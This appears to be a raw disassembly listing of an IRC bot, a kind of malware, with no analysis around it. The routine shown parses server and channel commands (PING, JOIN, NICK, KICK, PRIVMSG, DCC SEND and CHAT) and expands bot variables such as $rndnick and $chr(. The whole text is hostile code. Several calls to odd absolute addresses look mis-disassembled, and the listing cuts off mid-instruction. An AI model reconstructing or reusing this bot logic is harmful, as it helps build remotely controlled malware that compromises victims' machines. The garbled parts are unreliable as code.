var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2670096h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j call near ptr 26709C5h nop push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx call near ptr 2670096h nop mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h call near ptr 2670000h nop jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj nop call near ptr 26709C5h push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push 